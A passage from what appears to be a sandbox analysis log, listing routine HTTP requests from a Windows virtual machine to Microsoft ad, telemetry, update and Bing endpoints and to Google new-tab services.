t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p=Cache-Control: no-cacheMS-CV: 3Vm+Jn6XVk6c/Y5v.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153111Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=ed3d001be68049bbb5f2765b5770c75e&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-338388&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=99999999&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p=Cache-Control: no-cacheMS-CV: 3Vm+Jn6XVk6c/Y5v.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639595_1MX6CE6U5QJ1LNKB2&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239400770769_18M00FGPRIQDFGALM&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239370639606_1UY6VCV79VNDR5KH5&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360172384_1T8ZHTG4V2CH7K983&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239400770770_1MCFSTMB54OFKADW1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153112Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=46e2b0e903a04969a760af43127e2817&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p=Cache-Control: no-cacheMS-CV: 3Vm+Jn6XVk6c/Y5v.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239379264962_11UXGSQH50WZLI7KB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239379264963_1YDKCAGWFU8IOZ3VZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360298759_18SWFMUKVYFM3YLDD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360298760_1IGUAAO0S19XMZR4M&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120100v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=394511433&PG=PC000P0FR5.0000000IRU&REQASID=E63831AF0CC046A09D1AE6A597F951CB&UNID=338389&ASID=0e6e874893f342b5b693664973a6aa48&&DS_EVTID=E63831AF0CC046A09D1AE6A597F951CB&DEVOSVER=10.0.19045.2006&REQT=20241126T153059&TIME=20241126T153105Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239379264963_1YDKCAGWFU8IOZ3VZ&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239379264962_11UXGSQH50WZLI7KB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=394511433&PG=PC000P0FR5.0000000IRU&REQASID=E63831AF0CC046A09D1AE6A597F951CB&UNID=338389&ASID=0e6e874893f342b5b693664973a6aa48&&DS_EVTID=E63831AF0CC046A09D1AE6A597F951CB&DEVOSVER=10.0.19045.2006&REQT=20241126T153059&TIME=20241126T153105Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=r2VWSTVOOBwDveM&MD=hFfoBeLw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
